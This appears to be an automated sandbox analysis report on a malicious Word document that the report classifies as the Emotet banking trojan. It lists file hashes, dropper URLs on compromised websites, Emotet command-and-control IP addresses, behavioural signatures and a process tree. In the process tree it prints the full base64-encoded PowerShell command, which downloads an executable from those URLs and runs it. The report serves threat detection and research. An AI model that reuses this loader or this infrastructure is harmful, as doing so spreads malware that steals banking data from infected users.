Overview

overview

10

Static

static

8

a7cf16d4aa...19.doc

windows7_x64

10

a7cf16d4aa...19.doc

windows10_x64

10

Analysis

  • max time kernel
    73s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/07/2020, 15:06

Sharing

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General

  • Target

    a7cf16d4aaa376dd203bf2f9dc920119.doc

  • Size

    195KB

  • MD5

    a7cf16d4aaa376dd203bf2f9dc920119

  • SHA1

    bea688ec17fc62fe01da919e32dec3044d708c59

  • SHA256

    5318cc94acbffdb5f97fc8788fa2d7e3d91503cc17923feb2ea108f02bf70a5b

  • SHA512

    c01f59d2da9b00dfc684f9fa5b5806d1efcf41ea11f4b2a22a71c3449ec469350b64a00f0377f058831e0dd291766acadee98e4a367d917d52e47bd13f248de9

Score
10/10
trojanbankeremotetdiscovery

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.elseelektrikci.com/wp-content/hedk3/
exe.dropper

https://www.rviradeals.com/wp-includes/LeDR/
exe.dropper

https://skenglish.com/wp-admin/o0gf/
exe.dropper

https://www.packersmoversmohali.com/wp-includes/pgmt4x/
exe.dropper

https://www.tri-comma.com/wp-admin/MmD/

Extracted

Family

emotet

C2

109.117.53.230:443

212.51.142.238:8080

190.160.53.126:80

139.59.60.244:8080

91.211.88.52:7080

190.108.228.62:443

186.208.123.210:443

46.105.131.87:80

173.91.22.41:80

222.214.218.37:4143

31.31.77.83:443

62.75.141.82:80

93.156.165.186:80

93.51.50.171:8080

185.94.252.104:443

78.189.165.52:8080

95.179.229.244:8080

73.11.153.178:8080

203.153.216.189:7080

95.213.236.64:8080
rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Office loads VBA resources, possible macro or embedded object present
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a7cf16d4aaa376dd203bf2f9dc920119.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1116
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABkAG8AdQBqAHcAaQBvAGgAYwBvAGkAcwBiAG8AYQBzAGwAaQBlAHAAPQAnAGgAZQBhAGQAcQB1AG8AZQB6AHkAdQB1AHYAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAGUAYwB1AFIAaQB0AHkAcABgAFIAbwB0AGAATwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHQAYQBjAGgAagBhAGkAbgAgAD0AIAAnADQANAAzACcAOwAkAHAAbwB1AHYAZABvAGUAegB5AGkAbwB3AG0AYQB1AHEAdQBqAHUAdQB6AD0AJwB6AGkAbgAnADsAJABoAGEAbwBjAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHQAYQBjAGgAagBhAGkAbgArACcALgBlAHgAZQAnADsAJAByAGkAbwBmAHYAbwBhAHoAZgBlAGkAcQB1AGoAZQBqAGIAbwB1AHgAPQAnAGYAZQBpAGoAJwA7ACQAdABpAHQAaAB0AGgAbwBlAG4AeQB1AGEAdABoAGwAYQB1AHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkAZQBOAFQAOwAkAGoAdQBhAGcAYgBpAG8AeQByAG8AYQBiAGMAbwBqAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAGwAcwBlAGUAbABlAGsAdAByAGkAawBjAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBoAGUAZABrADMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAdgBpAHIAYQBkAGUAYQBsAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwAZQBEAFIALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGsAZQBuAGcAbABpAHMAaAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAwAGcAZgAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcABhAGMAawBlAHIAcwBtAG8AdgBlAHIAcwBtAG8AaABhAGwAaQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcABnAG0AdAA0AHgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHQAcgBpAC0AYwBvAG0AbQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAG0ARAAvACcALgAiAHMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAeABpAG8AYwBoAGMAYQBoAGQAbwBkAHYAYQB3AHAAdQBhAGgAeQBvAGUAcQB1AD0AJwB0AGgAbwBhAGsAdgBlAGUAawBjAHUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACAAaQBuACAAJABqAHUAYQBnAGIAaQBvAHkAcgBvAGEAYgBjAG8AagApAHsAdAByAHkAewAkAHQAaQB0AGgAdABoAG8AZQBuAHkAdQBhAHQAaABsAGEAdQB6AC4AIgBEAG8AYAB3AG4AbABvAGAAQQBgAEQAZgBpAGwAZQAiACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACwAIAAkAGgAYQBvAGMAaAApADsAJAB3AHUAYQBsAHkAaQBhAGMAaAA9ACcAeABlAHYAbgBvAGEAcQB1AGwAYQBvAGgAbABvAGUAZAB2AHUAYQBsAGYAaQBsACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAaABhAG8AYwBoACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADYAMwAyADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAAZQBhAHQARQAiACgAJABoAGEAbwBjAGgAKQA7ACQAbgBhAG4APQAnAHEAdQBhAG8AeABjAGgAZQBlAHcAdgBvAHUAdABoAGIAYQB1AGMAdgBhAG8AdABoACcAOwBiAHIAZQBhAGsAOwAkAHgAdQB1AGwAZwB1AHUAagA9ACcAdwBhAG8AawB5AGEAZQBuAG0AZQBvAHoAagBhAHUAdwBmAHUAdQBjAGMAaABpAGEAcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB0AGgAaQBrAHQAaABpAG8AegBoAHUAbQA9ACcAdABhAGkAdwB2AGUAaQBjAHQAaQBjAGgAJwA=
    1⤵
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Modifies system certificate store
    PID:1064
  • C:\Users\Admin\443.exe
    C:\Users\Admin\443.exe
    1⤵
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:1844
    • C:\Windows\SysWOW64\advapi32\lsmproxy.exe
      "C:\Windows\SysWOW64\advapi32\lsmproxy.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EmotetMutantsSpam
      PID:1772

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/1116-0-0x0000000005BF0000-0x0000000005CF0000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/1116-2-0x0000000008920000-0x0000000008924000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1116-4-0x000000000B020000-0x000000000B024000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1116-5-0x000000000C0A0000-0x000000000C0A4000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1116-7-0x00000000007E0000-0x00000000007E1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/1772-13-0x0000000000310000-0x000000000031C000-memory.dmp

          Filesize

          48KB

          Download

        • memory/1772-14-0x0000000000400000-0x000000000043D000-memory.dmp

          Filesize

          244KB

          Download

        • memory/1844-9-0x00000000001D0000-0x00000000001DC000-memory.dmp

          Filesize

          48KB

          Download